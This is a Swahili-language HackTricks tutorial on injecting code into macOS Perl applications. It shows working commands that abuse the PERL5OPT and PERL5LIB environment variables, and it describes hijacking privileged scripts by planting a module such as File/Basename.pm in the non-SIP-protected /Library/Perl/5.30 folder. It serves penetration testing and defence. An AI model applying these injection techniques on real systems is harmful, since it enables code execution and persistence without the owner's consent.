macOS Perl Applications Injection

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

• Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA USAJILI!

• Pata swag rasmi wa PEASS & HackTricks

• Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee

• Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.

• Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.

Kupitia PERL5OPT & PERL5LIB env variable

Kwa kutumia mazingira ya env variable PERL5OPT inawezekana kufanya perl itekeleze amri za kupindukia. Kwa mfano, unda script hii:

test.pl

#!/usr/bin/perl
print "Hello from the Perl script!\n";

Sasa tengeneza mazingira ya env na tekeleza skripti ya perl:

export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"

Chaguo lingine ni kuunda moduli ya Perl (k.m. /tmp/pmod.pm):

/tmp/pmod.pm

#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value

Na kisha tumia mazingira ya env:

PERL5LIB=/tmp/ PERL5OPT=-Mpmod

Kupitia mahitaji

Inawezekana kuorodhesha folda za mahitaji kwa mpangilio wa Perl unapoendesha:

perl -e 'print join("\n", @INC)'

Ambayo itarudisha kitu kama:

/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30

Baadhi ya folda zilizorudishwa hazipo, hata hivyo, /Library/Perl/5.30 ipo, haikilindwi na SIP na iko kabla ya folda zilizolindwa na SIP. Kwa hivyo, mtu anaweza kutumia folda hiyo kuongeza mahitaji ya script ili script ya Perl yenye mamlaka makubwa iweze kuijumuisha.

Hata hivyo, kumbuka kwamba unahitaji kuwa root ili uandike kwenye folda hiyo na siku hizi utapata ombi la TCC hili:

Kwa mfano, ikiwa script inaingiza use File::Basename; ingewezekana kuunda /Library/Perl/5.30/File/Basename.pm ili kufanya iendeshe nambari ya kupendelea.

Marejeo

• https://www.youtube.com/watch?v=zxZesAN-TEk